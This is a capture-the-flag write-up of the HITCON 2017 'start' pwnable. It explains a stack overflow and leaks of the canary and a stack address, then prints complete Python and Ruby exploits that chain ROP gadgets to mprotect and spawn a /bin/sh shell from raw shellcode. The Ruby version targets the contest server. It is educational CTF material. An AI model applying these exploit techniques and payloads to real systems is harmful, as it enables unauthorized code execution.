HITCON2017 CTF pwnable writeup

Kevin bio photo By Kevin

HITCON CTF start pwnable

This pwnable task with the description “Have you tried pwntools-ruby?” was a challenge that was served on: 54.65.72.116 31337 The task contained two files, the first was a ruby script called server.rb

#!/usr/bin/env ruby

# encoding: ascii-8bit

require 'pwn'        # https://github.com/peter50216/pwntools-ruby


STDIN.sync = 0
STDOUT.sync = 0

STDOUT.puts('The binary "start" is listening at 127.0.0.1:31338.')
STDOUT.puts("This is not important, but the Ruby version running is: #{RUBY_VERSION}")
STDOUT.puts('Give me your Ruby script, I would run it for you ;)')
STDOUT.write('> ')

code = STDIN.readpartial(1024)
STDIN.close
eval(code)

and another binary called start which reveals to be a x64 binary statically linked.

start: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=3103fc88300977dda14d3e2723c402cf0e23717f, not stripped

So the task is already pretty clear. it seems as we have to connect to the server and then give our exploit in ruby code and then exploit the local binary serving at 127.0.0.1:31338

As we can see that they are forcing us to use pwntools in ruby we simply write our exploit in python and then port it later on and debug it on their machines so we don’t have to install it ;)

The first thing we do is check the security enabled on the binary. We do that by opening the binary in gdb-peda and run checksec

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Stack canary and NX bit enabled. With that in mind we will now look at the binary.

bin

The binary is rather simple. We can see that it sets an alarm with the timer 0xA(10 seconds) alrm alarm img

Then a little further down we see the call to read with 3 arguments. from man: read(int fd, void *buf, size_t count); The first argument is placed in RDI and is the filedescripter 0 which is STDIN The second argument is the buffer and placed in RSI and is a pointer to the buffer The third is the buffer size and is placed in RDX and is a buf size of 0xD9 as also commented in the screenshot.

bin2

Then the binary calls strncmp and looks for the string exit\n in the first 5 bytes of the buffer we put data into. If it does contain exit\n we jump down to the stack cookie check and then if the stack is not smashed we exit cleanly. If exit\n is not in buffer we simply print the buffer to STDOUT and run the loop again.

bin3

With this in mind we now want to see what the stack layout looks like to see if the buffer is the proper size.

stck as we can see above the stack is only 24 bytes long. We are allowed to write 0xD9(217) bytes to the stack and the buffer overflow is pretty clear. Our problem is here that if we overwrite our buffer we will smash our stack cookie and the binary will crash.

In order to fix this we will need to leak our stack cookie. This is done by using the fact that our buffer is above our stack cookie. If we write 24 bytes in our buffer we can let the program print our buffer. But since the first part of the stack cookie is a null byte, puts will simply stop here. But if we instead send 25 bytes we overwrite 1 byte of the stack cookie(the null byte) and when puts is ran again we will now print our whole buffer + 7 bytes of the stack cookie minus the null byte. This enables us to simply add the null byte afterwards and we now have the stack cookie leaked. We can now overwrite down to the return address(called r) as long as we remember to write the stack_cookie over with the old stack cookie value.

So the payload would look like this after the cookie is leaked: "A"*24 + LEAKED_STACKCOOKIE + "B"*8 + NEW_RETURNADDR

We now have EIP control over the binary. Onwards to a working exploit!

So as the binary is statically linked we looked for usefull functions in the binary. We ended up taking the long road and ran mprotect on the stack in order to make it executable again and then simply just jmp to our shellcode with a jmp rsp gadget.

As mprotect takes 3 arguments mprotect(void *addr, size_t len, int prot); we needed to set the 3 registers RDI, RSI and RDX To do this we made a ropchain that looked like this:

 0x00000000004005d5 : pop rdi ; ret
 0x0000000000443799 : pop rdx ; pop rsi ; ret

In order to do this however we needed to know what to put in as the RDI register(*addr) as this should be a stack address which is page aligned.

To do this we needed to go back and use the trick we did to leak the stack cookie. The thing is that further down the stack there is a stack address, which we can leak(64 bytes down the stack). This address points to a higher address on the stack and we therefore substact 0x300 to get below our buffer and page align it

r.send("A"*64)
r.recvuntil("A"*64)
stack_addr = r.recv(6)
stack_addr = u64(stack_addr.ljust(8, "\x00"))
stack_addr = stack_addr -0x300
stack_addr = stack_addr & 0xfffffffffffff000 # page align

After we had the leaked stack address, leaked stack cookie and everything else we needed we simply had to put all the bits together and have a working exploit.

This made us end up with the final exploit:

from pwn import *

r = process("./start")

# leak stackcookie

r.send("A"*24 + "B") # fill buffer

r.recv(24)

stackcookie = r.recv(8)
stackcookie = stackcookie[1:].rjust(8, "\x00")

# leak stack address

r.send("A"*64)
r.recvuntil("A"*64)
stack_addr = r.recv(6)
stack_addr = u64(stack_addr.ljust(8, "\x00"))
stack_addr = stack_addr -0x300
stack_addr = stack_addr & 0xfffffffffffff000

# junk stack and overwrite stackcookie with original content

sploit = ""
sploit += "A"*24 # fill buffer

sploit += stackcookie
sploit += "B"*8 # junk ebp


# start the ropchain

# 0x00000000004005d5 : pop rdi ; ret

sploit += p64(0x4005d5) + p64(stack_addr) # stack_addr into rdi


# 0x0000000000443799 : pop rdx ; pop rsi ; ret

sploit += p64(0x443799) + p64(0x7) + p64(1024*8) # 0x7 into rdx, len into rsi


# call mprotect

sploit += p64(0x440e60)

# 0x00000000004a554f : jmp rsp

sploit += p64(0x4a554f)

# /bin/sh shellcode

sploit += asm(shellcraft.amd64.sh(), arch="amd64")

r.send(sploit)
r.recv()
r.send("exit\n")
r.recv()

r.interactive()

from here we simply had to port our exploit to ruby(which made it quite ugly). So to sum up what this does. We have the ruby exploit in a string. It has to be under 1024 bytes. We send this to the server and they run it and it then exploits the local binary and runs a command that cats the flag.

from pwn import *

r = remote("54.65.72.116", 31337)
r.recvuntil("> ")

sploit = """
r = Sock.new '127.0.0.1', 31338

r.send "A"*24 + "B"
print r.recv 24
stackcookie = r.recv 8
stackcookie = "\x00" + stackcookie[1..-1]
r.send "Y"*64
r.recvuntil "Y"*64
stack_addr = r.recv 6
stack_addr.reverse!
stack_addr = "0x" + stack_addr.unpack("H*").join
stack_addr = stack_addr.to_i(16)

stack_addr = stack_addr - 0x300
stack_addr = stack_addr & 0xfffffffffffff000
sploit = ""
sploit = sploit + "A"*24 # fill buffer
sploit = sploit + stackcookie
sploit = sploit + "B"*8 # junk ebp
sploit = sploit + p64(0x4005d5)
sploit = sploit + p64(stack_addr) # "A"*8 # rdi = addr
sploit = sploit + p64(0x443799)
sploit = sploit + p64(0x7) + p64(1024*8) # rdx = prot, rsi = len
sploit = sploit + p64(0x440e60)
#sploit = sploit + p64(0x443799)
print "here4"
sploit = sploit +  p64(0x4a554f)

sploit = sploit + "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"
r.send sploit
r.send "exit\n"
r.send "cat /home/start/flag\n"
while 1 do
    puts r.recv
end
"""
print len(sploit)
r.send(sploit)
r.interactive()